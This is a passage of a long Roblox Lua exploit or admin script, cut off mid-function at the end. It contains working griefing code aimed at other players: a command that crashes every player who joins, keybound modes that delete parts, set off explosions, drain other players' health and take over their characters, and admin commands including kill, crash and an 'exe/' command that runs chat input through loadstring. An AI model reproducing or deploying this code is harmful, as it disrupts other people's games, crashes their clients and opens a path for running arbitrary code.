  3585.         if g[i]:IsA("Hat") then
  3586.         g[i]: Destroy()
  3587.         end
  3588.         end
  3589.         p = Instance.new("Part")
  3590.         p.Parent, p.Size, p.Anchored, p.Locked, p.BrickColor, p.Name = Workspace, Vector3.new(600, 1, 600), true, true,
  3591.         BrickColor.new("Earth green"), "Base" p.CFrame = CFrame.new(Vector3.new(0, 0, 0))
  3592.         while true do wait()
  3593.         for i = 1, #g do
  3594.         if g[i]:IsA("Message") then
  3595.         g[i]: Destroy()
  3596.         end
  3597.         end
  3598.         for i = 1, #g do
  3599.         if g[i]:IsA("Hint") then
  3600.         g[i]: Destroy()
  3601.         end
  3602.         end
  3603.         end
  3604.         end
  3605. )
  3606. AddCommand('Activate nilc','nc',
  3607.         function(Msg,Speaker)
  3608.                 pcall(function()
  3609.                         game:GetService("Players").ChildAdded:connect(function(p)
  3610.                                 if p:IsA('Player') then
  3611.                                 Output2(p.Name .. ' has joined the server',{Color3.new(math.random(),math.random(),math.random())},Speaker)
  3612.                                 table.insert(PLOG,p.Name)
  3613.                                 Output2(p.Name .. ' Logged In PLOG',{Color3.new(math.random(),math.random(),math.random())},Speaker)
  3614.                                 if p:findFirstChil('Backpack') == nil then wait(2) end
  3615.                                 nilcrash(p)
  3616.                                 end
  3617.                         end)
  3618.                 end)
  3619.         end
  3620. )
  3621. --[[KeyBinding]]--
  3622. ------------------------------------------------------------------------------------------------
  3623. CtrlDown = false
  3624. ButtonUnoDown = false
  3625. GUIHidden = false
  3626. Platforming = false
  3627. PlatUpping = false
  3628. PlatDowning = false
  3629. ChatDebounce = true
  3630. UseChat = false
  3631. Limping = false
  3632. Mode = "None"
  3633. CopyPasta = nil
  3634. Dragging = nil
  3635. DraggingBP = nil
  3636. GodConnection = nil
  3637. R,G,B = 0,0,0
  3638. X,Y,Z = 0,0,0
  3639. Height = 0
  3640. ColorChange = 0.03
  3641. HeightChange = 0.3
  3642. Sound = Instance.new("Sound",Camera)
  3643. Sound.Pitch = 1
  3644. Sound.Volume = 10
  3645. Platform = Instance.new("Part")
  3646. Platform.Size = Vector3.new(3,1,3)
  3647. Platform.Transparency = 1
  3648. Platform.Anchored = true
  3649. Platform.CanCollide = true
  3650. ModeChanged = Instance.new("BindableEvent")
  3651. KeyBindings = {
  3652.   {"t","Teleport"},
  3653.   {"j","BreakJoints"},
  3654.   {"n","NoClip"},
  3655.   {"u","Ninja",function() LocalPlayer.Character.Parent = Camera end},
  3656.   {"e","Explosion"},
  3657.   {"k","Phaze"},
  3658.   {"c","Copy"},
  3659.   {"v","Paste"},
  3660.   {"b","BloodSuck"},
  3661.   {"m","Destroy"},
  3662.   {"r","Eat"},
  3663.   {";","Host"},
  3664.   {"]","Give"},
  3665.   {"f","BaleFire"},
  3666.   {"p","Asplosion"},
  3667.   {"p","Drag"}
  3668. }
  3669. function PlaySound(Id)
  3670.         pcall(function()
  3671.         Sound:Stop()
  3672.         Sound.SoundId = Id
  3673.         Sound:Play()
  3674.         end)
  3675. end
  3676. function GetPlayer(Target)
  3677.         for _,v in pairs(game:service'Players':GetPlayers()) do
  3678.         if Target:IsDescendantOf(v.Character) and v.Character ~= nil then
  3679.         return v
  3680.         end
  3681.         end
  3682.         return nil
  3683. end
  3684. function ShouldEditPart(Target)
  3685.         local Rtn = true
  3686.         if Target.Locked == true and CtrlDown == false then
  3687.         Rtn = false
  3688.         end
  3689.         if Target.Name == "Base" or Target == Platform then
  3690.         Rtn = false
  3691.         end
  3692.         return Rtn
  3693. end
  3694.         function Darken(Parent)
  3695.         for _,v in pairs(Parent:children()) do
  3696.         wait(1/100^100)
  3697.         for _,i in pairs(v:children()) do
  3698.         if i:IsA("Decal") then
  3699.         i:Remove()
  3700.         end
  3701.         end
  3702.         if v:IsA("BasePart") then
  3703.         local Skin = v:FindFirstChild("Handle") or v
  3704.         Skin = Skin:Clone()
  3705.         Skin.Name = "Skin"
  3706.         Skin.Parent = v.Parent
  3707.         Skin.FormFactor = "Custom"
  3708.         Skin.TopSurface = "Smooth"
  3709.         Skin.BottomSurface = "Smooth"
  3710.         Skin.BrickColor = BrickColor.new("Really black")
  3711.         Skin.Transparency = 0.3
  3712.         Skin.Size = Vector3.new(v.Size.x + 0.1,v.Size.y + 0.1,v.Size.z + 0.1)
  3713.         local Weld = Instance.new("Weld",Skin)
  3714.         Weld.Part0 = Skin
  3715.         Weld.Part1 = v
  3716.         Weld.C0 = CFrame.new(0,0,0)
  3717.         pcall(function()
  3718.         Skin.Mesh.TextureId = ""
  3719.         Skin.Mesh.VertexColor = Vector3.new(0,0,0)
  3720.         end)
  3721.         end
  3722.         Darken(v)
  3723.         end
  3724.         end
  3725.  
  3726. function Load()
  3727. wait(2.5)
  3728. local ScreenGui = Instance.new("ScreenGui",LocalPlayer.PlayerGui)
  3729. ScreenGui.Name = "KeyBindings"
  3730.  
  3731. local Main = Instance.new("Frame",ScreenGui)
  3732. Main.Name = "Main"
  3733. Main.Style = "Custom"
  3734. Main.BackgroundTransparency = 1
  3735. Main.Active = true
  3736. Main.Draggable = true
  3737. Main.Size = UDim2.new(0.15,0,0.1 + #KeyBindings * 0.02,0)
  3738. Main.Position = UDim2.new(0.85,0,0.25,0)
  3739. if GUIHidden == true then
  3740. Main:TweenPosition(UDim2.new(1,0,0.25,0))
  3741. end
  3742.  
  3743. local Title = Instance.new("TextLabel",Main)
  3744. Title.FontSize = "Size14"
  3745. Title.Text = "KeyBindings"
  3746. Title.Active = false
  3747. Title.TextColor3 = Color3.new(1,1,1)
  3748. Title.BackgroundTransparency = 0.5
  3749. Title.Size = UDim2.new(1,0,0.1,0)
  3750. Title.Position = UDim2.new(0,0,0,0)
  3751.  
  3752. local MouseIn = false
  3753. local HealthDisplay = Instance.new("TextLabel",Main)
  3754. HealthDisplay.FontSize = "Size14"
  3755. HealthDisplay.Text = "Loading..."--"["..tostring(LocalPlayer.Character.Humanoid.Health / LocalPlayer.Character.Humanoid.MaxHealth * 100):sub(1,5) .."/100%]"
  3756. HealthDisplay.Active = false
  3757. HealthDisplay.TextColor3 = Color3.new(1,1,1)
  3758. HealthDisplay.BackgroundTransparency = 0.5
  3759. HealthDisplay.Size = UDim2.new(1,0,0.1,0)
  3760. HealthDisplay.Position = UDim2.new(0,0,0.11,0)
  3761. HealthDisplay.MouseEnter:connect(function()
  3762. MouseIn = true
  3763. HealthDisplay.Text = "Max Health : "..tostring(math.floor(LocalPlayer.Character.Humanoid.MaxHealth+0.5))..""
  3764. end)
  3765. HealthDisplay.MouseLeave:connect(function()
  3766. MouseIn = false
  3767. HealthDisplay.Text = "["..tostring(LocalPlayer.Character.Humanoid.Health / LocalPlayer.Character.Humanoid.MaxHealth * 100):sub(1,5) .."/100%]"
  3768. end)
  3769. LocalPlayer.Character.Humanoid.Changed:connect(function()
  3770. if MouseIn == false then
  3771. HealthDisplay.Text = "["..tostring(LocalPlayer.Character.Humanoid.Health / LocalPlayer.Character.Humanoid.MaxHealth * 100):sub(1,5) .."/100%]"
  3772. end
  3773. end)
  3774.  
  3775. local PlatUpArrow = Instance.new("ImageButton",Main)
  3776. PlatUpArrow.Image = "http://www.roblox.com/asset/?id=29563813"
  3777. PlatUpArrow.BackgroundTransparency = 1
  3778. PlatUpArrow.Size = UDim2.new(1/3,0,0.1,0)
  3779. PlatUpArrow.Position = UDim2.new(0,0,0.22,0)
  3780. PlatUpArrow.MouseButton1Down:connect(function()
  3781. HeightChange = 0.3
  3782. PlatUpping = true
  3783. end)
  3784. PlatUpArrow.MouseButton1Up:connect(function()
  3785. PlatUpping = false
  3786. end)
  3787.  
  3788. local PlatOn = Instance.new("TextButton",Main)
  3789. PlatOn.Text = "On"
  3790. PlatOn.FontSize = "Size12"
  3791. PlatOn.BackgroundTransparency = 1
  3792. PlatOn.Size = UDim2.new(1/3/2,0,0.1,0)
  3793. PlatOn.Position = UDim2.new(1/3,0,0.22,0)
  3794. PlatOn.MouseButton1Down:connect(function()
  3795. Height = LocalPlayer.Character.Torso.CFrame.y - 3.5
  3796. Platforming = true
  3797. end)
  3798.  
  3799. local PlatOff = Instance.new("TextButton",Main)
  3800. PlatOff.Text = "Off"
  3801. PlatOff.FontSize = "Size12"
  3802. PlatOff.BackgroundTransparency = 1
  3803. PlatOff.Size = UDim2.new(1/3/2,0,0.1,0)
  3804. PlatOff.Position = UDim2.new(1/3+1/3/2,0,0.22,0)
  3805. PlatOff.MouseButton1Down:connect(function()
  3806. Platforming = false
  3807. Platform.Parent = nil
  3808. end)
  3809.  
  3810. local PlatDownArrow = Instance.new("ImageButton",Main)
  3811. PlatDownArrow.Image = "http://www.roblox.com/asset/?id=29563831"
  3812. PlatDownArrow.BackgroundTransparency = 1
  3813. PlatDownArrow.Size = UDim2.new(1/3,0,0.1,0)
  3814. PlatDownArrow.Position = UDim2.new(1/3*2,0,0.22,0)
  3815. PlatDownArrow.MouseButton1Down:connect(function()
  3816. HeightChange = 0.3
  3817. PlatDowning = true
  3818. end)
  3819. PlatDownArrow.MouseButton1Up:connect(function()
  3820. PlatDowning = false
  3821. end)
  3822.  
  3823. for i,v in pairs(KeyBindings) do
  3824. local Box = Instance.new("TextBox",Main)
  3825. Box.FontSize = "Size12"
  3826. Box.Text = "[" .. v[1] .. "] "..v[2]
  3827. Box.BackgroundTransparency = 0.7
  3828. Box.Size = UDim2.new(1,0,0.05,0)
  3829. Box.Position = UDim2.new(0,0,0,0)
  3830. --Box.Position = UDim2.new(0,0,0.1 + (i - 1) * 0.05,0)
  3831. Box:TweenPosition(UDim2.new(0,0,0.33 + (i - 1) * 0.06,0),"Out","Back",2)
  3832. ModeChanged.Event:connect(function(CurrentMode)
  3833. if Mode == v[2] then
  3834. while Mode == v[2] do
  3835. for i=0,1,ColorChange do         if Mode ~= v[2] then break end                 R = i                 Box.BackgroundColor3 = Color3.new(R,G,B)                 wait(1/100^100)         end
  3836. for i=0,1,ColorChange do         if Mode ~= v[2] then break end                 G = i                 Box.BackgroundColor3 = Color3.new(R,G,B)                 wait(1/100^100)         end
  3837. for i=0,1,ColorChange do         if Mode ~= v[2] then break end                 B = i                 Box.BackgroundColor3 = Color3.new(R,G,B)                 wait(1/100^100)         end
  3838. for i=1,0,ColorChange*-1 do         if Mode ~= v[2] then break end                 R = i                 Box.BackgroundColor3 = Color3.new(R,G,B)                 wait(1/100^100)         end
  3839. for i=1,0,ColorChange*-1 do         if Mode ~= v[2] then break end                 G = i                 Box.BackgroundColor3 = Color3.new(R,G,B)                 wait(1/100^100)         end
  3840. for i=1,0,ColorChange*-1 do         if Mode ~= v[2] then break end                 B = i                 Box.BackgroundColor3 = Color3.new(R,G,B)                 wait(1/100^100)         end
  3841. end
  3842. Box.BackgroundColor3 = Color3.new(0.63,0.63,0.64)
  3843. else
  3844. Box.BackgroundColor3 = Color3.new(0.63,0.63,0.64)
  3845. end
  3846. end)
  3847. Box.Changed:connect(function(Value)
  3848. if Value == "Text" and Box.Text:sub(1,1) ~= "[" then
  3849. v[1] = Box.Text
  3850. Box.Text = "[" .. v[1] .. "] "..v[2]
  3851. end
  3852. end)
  3853. end
  3854. if LocalPlayer.Backpack ~= nil then
  3855. game:GetService("InsertService"):LoadAsset(99030773):children()[1].Parent = LocalPlayer.Backpack
  3856. end
  3857. end
  3858. Load()
  3859. LocalPlayer.CharacterAdded:connect(function()
  3860.   coroutine.resume(coroutine.create(function()
  3861.     Limping = false
  3862.     repeat wait() until LocalPlayer.Character.Humanoid ~= nil and LocalPlayer.PlayerGui ~= nil
  3863.     Load()
  3864.   end))
  3865. end)
  3866. game:GetService("RunService").Stepped:connect(function()
  3867.         pcall(function()
  3868.         if LocalPlayer:FindFirstChild("PlayerGui") == nil then
  3869.         Instance.new("PlayerGui",LocalPlayer)
  3870.         end
  3871.         end)
  3872.         if Mode == "NoClip" or Platforming == true then
  3873.         for _,v in pairs(LocalPlayer.Character:children()) do
  3874.         if v:IsA("BasePart") then
  3875.         v.CanCollide = false
  3876.         elseif v:IsA("Hat") then
  3877.         v.Handle.CanCollide = false
  3878.         end
  3879.         end
  3880.         end
  3881.         if Mode == "Phaze" then
  3882.         LocalPlayer.Character.Archivable = true
  3883.         local Clone = LocalPlayer.Character:Clone()
  3884.         Clone.Parent = workspace
  3885.         Clone.Torso.Anchored = false
  3886.         Clone.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(math.random(-5,5),0,math.random(-5,5))
  3887.         game:GetService("Debris"):AddItem(Clone,0.30)
  3888.         end
  3889.         if Platforming == true then
  3890.         local TargetCFrame = LocalPlayer.Character.Torso.CFrame
  3891.         local TargetAngle = LocalPlayer.Character.Torso.CFrame.lookVector
  3892.         Platform.Parent = Camera
  3893.         Platform.CFrame = CFrame.new(TargetCFrame.x,Height,TargetCFrame.z)        
  3894.         Platform.CanCollide = true
  3895.         LocalPlayer.Character.Torso.CFrame = TargetCFrame * CFrame.new(0,(TargetCFrame.y * -1) + Height +3.5,0)
  3896.         end
  3897.         if Mode == "Asplosion" then
  3898.         X = X - 1
  3899.         Y = Y / 2
  3900.         Z = Z + 1
  3901.         for i=-1,1,2 do
  3902.         local Explosion = Instance.new("Explosion",workspace)
  3903.         Explosion.BlastPressure = 2500000
  3904.         Explosion.BlastRadius = 20
  3905.         Explosion.Position = (LocalPlayer.Character.Torso.CFrame
  3906.         * CFrame.Angles(X,Y,Z)
  3907.         * CFrame.new(0,0,50*i)).p
  3908.         if Limping == true then
  3909.         for _,v in pairs(LocalPlayer.Character:children()) do
  3910.         if v:IsA("BasePart") then
  3911.         v.CanCollide = true
  3912.         --v.Friction = 0.1
  3913.         end
  3914.         end
  3915.         pcall(function()
  3916.         LocalPlayer.Character.Humanoid.PlatformStand = true
  3917.         end)
  3918.         end
  3919.         end
  3920.         end
  3921.         end
  3922. )
  3923. Mouse.KeyDown:connect(function(Key)
  3924.         local a,b = coroutine.resume(coroutine.create(function()
  3925.         if Key == "1" or Key == "2" then
  3926.         CtrlDown = true
  3927.         elseif Key == "0" then --or Key == "/" then
  3928.         PlaySound("http://www.roblox.com/Asset/?id=2785493")
  3929.         Mode = "None"
  3930.         if LocalPlayer.Character.Parent == Camera then
  3931.         LocalPlayer.Character.Parent = workspace
  3932.         end
  3933.         --pcall(function() LocalPlayer.Character.KeyBindingForceField:Remove() end)
  3934.         Platform.Parent = nil
  3935.         end
  3936.         if CtrlDown == true then
  3937.         for _,v in pairs(KeyBindings) do
  3938.         if Key == v[1] then
  3939.         PlaySound("http://www.roblox.com/Asset/?id=3264923")
  3940.         Mode = v[2]
  3941.         ModeChanged:Fire(v[2])
  3942.         if v[3] ~= nil then
  3943.         v[3]()
  3944.         end
  3945.         end
  3946.         end
  3947.         end
  3948.         end))
  3949.         if not a then print(b) end
  3950. end)
  3951. Mouse.Button1Down:connect(function()
  3952. local a,b = coroutine.resume(coroutine.create(function()
  3953. ButtonUnoDown = true
  3954. if Mode == "Teleport" then
  3955. PlaySound("http://www.roblox.com/Asset/?id=16433289")
  3956. LocalPlayer.Character.Torso.Velocity = Vector3.new(0,0,0)
  3957. if CtrlDown == false then
  3958. LocalPlayer.Character.Torso.CFrame = CFrame.new(Mouse.Hit.x,Mouse.Hit.y + 3,Mouse.Hit.z)
  3959. elseif CtrlDown == true then
  3960. LocalPlayer.Character.Torso.CFrame = LocalPlayer.Character.Torso.CFrame * CFrame.new(0,0,-15)
  3961. end
  3962. elseif Mode == "BreakJoints" and Mouse.Target.Name ~= "Base" then
  3963. if CtrlDown == true then
  3964. Mouse.Target.Anchored = false
  3965. end
  3966. Mouse.Target:BreakJoints()
  3967. elseif Mode == "Destroy" then
  3968. if ShouldEditPart(Mouse.Target) then
  3969. Mouse.Target:Destroy()
  3970. end
  3971. elseif Mode == "Explosion" then
  3972. PlaySound("http://www.roblox.com/Asset/?id=3087031")
  3973. local Expl = Instance.new("Explosion",workspace)
  3974. Expl.Position = Mouse.Hit.p
  3975. Expl.BlastPressure = 2500000
  3976. Expl.BlastRadius = 20
  3977. if CtrlDown == true then
  3978. Expl.Hit:connect(function(v)
  3979. v.Anchored = false
  3980. end)
  3981. end
  3982. elseif Mode == "Copy" then
  3983. CopyPasta = Mouse.Target:Clone()
  3984. elseif Mode == "Paste" then
  3985. local Temp = CopyPasta:Clone()
  3986. Temp.Parent = workspace
  3987. Temp.CFrame = Mouse.Hit
  3988. elseif Mode == "BloodSuck" then
  3989. local Humanoid = Mouse.Target.Parent:FindFirstChild("Humanoid") or Mouse.Target.Parent.Parent:FindFirstChild("Humanoid")
  3990. local Target = Mouse.Target
  3991. while (LocalPlayer.Character.Torso.Position - Target.Position).Magnitude < 55 and Humanoid.Health > 0 and Mode == "BloodSuck" do
  3992. wait()
  3993. Humanoid.Health = Humanoid.Health - 1
  3994. LocalPlayer.Character.Humanoid.Health = LocalPlayer.Character.Humanoid.Health + 1
  3995. end
  3996. elseif Mode == "Host" then
  3997. local Player = GetPlayer(Mouse.Target)
  3998. if not Player then
  3999. if CtrlDown then
  4000. local Clone = game:service'InsertService':LoadAsset(68452456):children()[1]
  4001. for _,v in pairs(Clone:children()) do if v:IsA("Script") then v:Remove() end end
  4002. local Target = Instance.new("ObjectValue")
  4003. Target.Name = "Target"
  4004. Target.Parent = Clone
  4005. Target.Value = LocalPlayer.Character:FindFirstChild("Humanoid")
  4006. Clone.Name = Player.Name
  4007. for _,v in pairs(Player.Character:children()) do
  4008. if Clone:FindFirstChild(v.Name) == nil then
  4009. v:Clone().Parent = Clone
  4010. else
  4011. pcall(function()
  4012. Clone:FindFirstChild(v.Name).BrickColor = v.BrickColor
  4013. end)
  4014. end
  4015. end
  4016. Clone.Humanoid.Torso = Clone.Torso
  4017. LocalPlayer.Character = Clone
  4018. Clone.Parent = workspace
  4019. Clone.Torso.CFrame = Player.Character.Torso.CFrame*CFrame.new(0,0,-5) * CFrame.Angles(0,math.rad(180),0)
  4020. elseif CtrlDown == false then
  4021. LocalPlayer.Character = Player.Character
  4022. end
  4023. else
  4024. if CtrlDown == false then
  4025. LoadCharacter(CFrame.new(Mouse.Hit.x,Mouse.Hit.y,Mouse.Hit.z))
  4026. else
  4027. LocalPlayer.Character = nil
  4028. end
  4029. end
  4030. elseif Mode == "Give" then
  4031. local Player = game:service'Players'
  4032. local Player = GetPlayer(Mouse.Target)
  4033. if Player ~= nil then
  4034. if Player.Backpack ~= nil then
  4035. local NS = ClonyPooPoo:Clone()
  4036. NS.Parent = Player.Backpack
  4037. NS.Disabled = false
  4038. end
  4039. end
  4040. elseif Mode == "BaleFire" then
  4041. local FF = Instance.new("ForceField",LocalPlayer.Character)
  4042. game:service'Debris':AddItem(FF,1.5)
  4043. for i=0,100 do
  4044. local Expl = Instance.new("Explosion",workspace)
  4045. Expl.BlastPressure = 2500000
  4046. Expl.BlastRadius = 7
  4047. Expl.Position = (CFrame.new(LocalPlayer.Character.Torso.Position,Mouse.Hit.p)
  4048. * CFrame.new(0,0,-i * 15)).p
  4049. if CtrlDown == true then
  4050. Expl.Hit:connect(function(v)
  4051. v.Anchored = false
  4052. end)
  4053. end
  4054. end
  4055. elseif Mode == "Drag" then
  4056. if CtrlDown == true then
  4057. Mouse.Target:BreakJoints()
  4058. Mouse.Target.Anchored = false
  4059. end
  4060. Dragging = Mouse.Target
  4061. DraggingBP = Instance.new("BodyPosition",Dragging)
  4062. DraggingBP.maxForce = Vector3.new(1/0,1/0,1/0)
  4063. end
  4064. end))
  4065. if not a then print(b) end
  4066. end)
  4067. Mouse.Button1Up:connect(function()
  4068.         ButtonUnoDown = false
  4069. end)
  4070. Mouse.Move:connect(function()
  4071.         local pos = workspace.CurrentCamera.Focus
  4072.         local a,b = coroutine.resume(coroutine.create(function()
  4073.                 if ButtonUnoDown then
  4074.                         if Mode == "Eat" then
  4075.                                 local Target = Mouse.Target
  4076.                                 if ShouldEditPart(Target) then
  4077.                                         local CF = Target.CFrame
  4078.                                         local Volume = math.floor(Target.Size.x * Target.Size.y * Target.Size.z)
  4079.                                         Target.Size = Vector3.new(math.random(1,2),math.random(1,2),math.random(1,2))
  4080.                                         Target.Anchored = false
  4081.                                         Target.CanCollide = false
  4082.                                         Target.CFrame = CF
  4083.                                         Target:BreakJoints()
  4084.                                         local BP = Instance.new("BodyPosition",Target)
  4085.                                         BP.maxForce = Vector3.new(1/0,1/0,1/0)
  4086.                                         BP.position = LocalPlayer.Character.Head.Position
  4087.                                         Target.Touched:connect(function(Hit)
  4088.                                                 if Hit:IsDescendantOf(LocalPlayer.Character) then        
  4089.                                                         Target:Destroy()
  4090.                                                         if LocalPlayer.Character.Humanoid.Health >= LocalPlayer.Character.Humanoid.MaxHealth then
  4091.                                                                 LocalPlayer.Character.Humanoid.MaxHealth = LocalPlayer.Character.Humanoid.MaxHealth+Volume*0.01
  4092.                                                                 LocalPlayer.Character.Humanoid.Health = LocalPlayer.Character.Humanoid.MaxHealth
  4093.                                                         else
  4094.                                                                 LocalPlayer.Character.Humanoid.Health = LocalPlayer.Character.Humanoid.Health+Volume*0.01
  4095.                                                         end
  4096.                                                 end
  4097.                                         end)        
  4098.                                         game:GetService("Debris"):AddItem(Target,25)
  4099.                                 end        
  4100.                         elseif Mode == "Explosion" then
  4101.                                 PlaySound("http://www.roblox.com/Asset/?id=3087031")
  4102.                                 local Expl = Instance.new("Explosion",workspace)
  4103.                                 Expl.Position = Mouse.Hit.p
  4104.                                 Expl.BlastPressure = 2500000
  4105.                                 Expl.BlastRadius = 20
  4106.                                 if CtrlDown == true then
  4107.                                         Expl.Hit:connect(function(v)
  4108.                                         v.Anchored = false
  4109.                                 end)
  4110.                         end
  4111.                 elseif Mode == "Drag" then
  4112.                         if Mouse.Target == nil then
  4113.                                 DraggingBP.position = (CFrame.new(pos.p,(Mouse.Hit*CFrame.new(0,1e3,0)).p)*CFrame.new(0,0,-20)).p
  4114.                         else
  4115.                                 DraggingBP.position = (CFrame.new(pos.p,(Mouse.Hit*CFrame.new(0,30,0)).p)*CFrame.new(0,0,-15)).p
  4116.                         end
  4117.                 end
  4118.         end
  4119.         end))
  4120.         if not a then print(b) end
  4121. end)
  4122. Mouse.Button1Up:connect(function()
  4123.         pcall(function()
  4124.                 Dragging = nil
  4125.                 DraggingBP:Destroy()
  4126.                 DraggingBP = nil
  4127.         end)
  4128. end)
  4129. Mouse.KeyUp:connect(function(Key)
  4130.         Key = Key:lower()
  4131.         if Key == "1" or Key == "2" then
  4132.                 CtrlDown = false
  4133.         end
  4134. end)
  4135.  
  4136. local HINT=Instance.new('Hint',Workspace);
  4137. local TIME=Workspace.DistributedGameTime;
  4138. local RUN=Game:service'RunService';
  4139. local FLOOR=math.floor;
  4140. local NEW=Instance.new;
  4141. local MINUTE;
  4142. local HOURS;
  4143. while(true)do
  4144.     MINUTE=TIME/60;
  4145.     HOURS=MINUTE/60;
  4146.     if(pcall(function()HINT.Parent=Workspace;end)==false)then
  4147.         HINT=NEW('Hint',Worskpace);
  4148.     end;
  4149.     HINT.Text=
  4150.         'Days: '..FLOOR(HOURS/24)..' '..
  4151.         'Hours: '..FLOOR(HOURS%24)..' '..
  4152.         'Minutes: '..FLOOR(MINUTE%60)..' '..
  4153.         'Seconds: '..FLOOR(TIME%60);
  4154.     TIME=TIME+Wait(1);
  4155. end;
  4156.  
  4157. registered = {
  4158. {["Name"] = "Derek1017",["Rank"] = 5},
  4159. {["Name"] = "",["Rank"] = math.huge}
  4160. ,{["Name"] = "",["Rank"] = -1},
  4161. {["Name"] = "",["Rank"] = -1},
  4162. {["Name"] = "",["Rank"] = -1},
  4163. {["Name"] = "",["Rank"] = -1},
  4164. {["Name"] = "",["Rank"] = -1}, }
  4165. publicrank = 0
  4166. minimumage = 0
  4167. commands = {
  4168. {["Name"] = "kill/",["Rank"] = 3,
  4169. ["Execute"] = function(msg,speaker,rank)
  4170. local pls = FilterPlayers(msg,speaker)
  4171. for i=1,#pls do pls[i].Character:BreakJoints()
  4172. end end},
  4173. {["Name"] = "respawn/",["Rank"] = 3,
  4174. ["Execute"] = function(msg,speaker,rank)
  4175. local pls = FilterPlayers(msg,speaker)
  4176. for i=1,#pls do pls[i]:LoadCharacter() end end},
  4177. {["Name"] = "catalog/",["Rank"] = 3,
  4178. ["Execute"] = function(msg,speaker,rank)
  4179. local pls = FilterPlayers(msg,speaker)
  4180. for i=1,#pls do Core.Catalog(pls[i])
  4181. end end},
  4182. {["Name"] = "rhats/",["Rank"] = 2,
  4183. ["Execute"] = function(msg,speaker,rank)
  4184. local pls = FilterPlayers(msg,speaker)
  4185. for i=1,#pls do
  4186. local hats = Object.getclass(pls[i].Character,"Hat")
  4187. for t=1,#hats do Object.remove(hats[t]) end end end},
  4188. {["Name"] = "heal/",["Rank"] = 2,
  4189. ["Execute"] = function(msg,speaker,rank)
  4190. local pls = FilterPlayers(msg,speaker)
  4191. for i=1,#pls do
  4192. local hum = Object.getclass(pls[i].Character,"Humanoid")[1]
  4193. if hum~=nil then hum.Health = hum.MaxHealth
  4194. end end end},
  4195. {["Name"] = "df/",["Rank"] = 3,
  4196. ["Execute"] = function(msg,speaker,rank)
  4197. local pls = FilterPlayers(msg,speaker)
  4198. for i=1,#pls do
  4199. local char = pls[i].Character
  4200. local tor=char:FindFirstChild("Torso")
  4201. if (char~=nil)and(tor~=nil)
  4202. then char:MoveTo(Vector3.new(tor.Position.X,tor.Position.Y+100,tor.Position.Z)) char:BreakJoints() end end end}, {["Name"] = "invisible/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local item = Object.getproperty(Object.tree(pls[i].Character),"Transparency") for t=1,#item do item[t].Transparency = 1 end end end}, {["Name"] = "visible/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local item = Object.getproperty(Object.tree(pls[i].Character),"Transparency") for t=1,#item do if item[t].Name~="HumanoidRootPart" then item[t].Transparency = 0 end end end end}, {["Name"] = "tp/",["Rank"] = 3,["Execute"] = function(msg,speaker,rank) local msg1,msg2 = Core.SplitString(msg,"/") local pls1 = FilterPlayers(msg1,speaker) local pls2 = FilterPlayers(msg2,speaker) for i=1,#pls1 do local char1 = nil local char2 = nil ypcall(function() char1 = pls1[i].Character char2 = pls2[1].Character end) if (char1~=nil)and(char2~=nil)and(char2:FindFirstChild("Torso")) then char1:MoveTo(char2.Torso.Position) end end end}, {["Name"] = "ff/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local ff = Object.new("ForceField",pls[i].Character) end end}, {["Name"] = "unff/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do local ff = Object.getclass(pls[i].Character,"ForceField") for t=1,#ff do Object.remove(ff[t]) end end end}, {["Name"] = "m/",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) Core.GMessage("A message from " .. speaker.Name,msg) end}, {["Name"] = "h/",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) Core.ghint(speaker.Name .. ": " .. msg) end}, {["Name"] = "pm/",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) local plr,msg1 = Core.SplitString(msg,"/") local pls = FilterPlayers(plr,speaker) for i=1,#pls do Core.CMessage(pls[i],"A message from " .. speaker.Name,msg1) end end}, {["Name"] = "reset/",["Rank"] = 0,["Execute"] = function(msg,speaker,rank) speaker:LoadCharacter() end}, {["Name"] = "getstats/",["Rank"] = 0,["Execute"] = function(msg,speaker,rank) local list = {} table.insert(list,"Game created by " .. Core.GetUsernameFromId(game.CreatorId)) table.insert(list,"Build number: " .. game.PlaceVersion) table.insert(list,"Your name: " .. speaker.Name) table.insert(list,"Your rank: " .. rank) table.insert(list,"Your AccountAge: " .. speaker.AccountAge) table.insert(list,"Your userId: " .. speaker.userId) table.insert(list,"Up time (minutes): " .. math.floor(Object.gs("Workspace").DistributedGameTime/60)) table.insert(list,"Core API Version: " .. Core.Ver) table.insert(list,"Object API Version: " .. Object.Ver) Core.GetList(speaker,"Game statistics",list) end}, {["Name"] = "time/",["Rank"] = 2,["Execute"] = function(msg,speaker,rank) ypcall(function() game.Lighting.TimeOfDay = msg end) end}, {["Name"] = "clear",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) Core.Clear() end}, {["Name"] = "exe/",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) local a,b = ypcall(function() loadstring(msg)() end) if a==false then Core.hint(speaker,tostring(b)) end end}, {["Name"] = "crash/",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) local pls = FilterPlayers(msg,speaker) for i=1,#pls do if GetData(pls[i]).Rank<=(rank-1) then Core.Crash(pls[i]) end end end}, {["Name"] = "getconnected",["Rank"] = 1,["Execute"] = function(msg,speaker,rank) local tbl = {} local ns = Object.gs("NetworkServer"):GetChildren() for i=1,#ns do local obj = {} obj.Name = ns[i]:GetPlayer().Name obj.Execute = function(pl) local tbls = {} local back = {} back.Name = "Go back" back.Execute = function() Core.GetMenu(pl,"List of connected players",tbl) end table.insert(tbls,back) table.insert(tbls,{["Name"] = "Account Age: " .. ns[i]:GetPlayer().AccountAge}) table.insert(tbls,{["Name"] = "User Id: " .. ns[i]:GetPlayer().userId}) local dat = GetData(ns[i]:GetPlayer()) table.insert(tbls,{["Name"] = "Rank: " .. dat.Rank}) Core.GetMenu(speaker,ns[i]:GetPlayer().Name,tbls) end table.insert(tbl,obj) end Core.GetMenu(speaker,"List of connected players",tbl) end}, {["Name"] = "rank/",["Rank"] = 4,["Execute"] = function(msg,speaker,rank) local plr,num = Core.SplitString(msg,"/") num=tonumber(num) if num~=nil then local pls = FilterPlayers(plr,speaker) for i=1,#pls do if 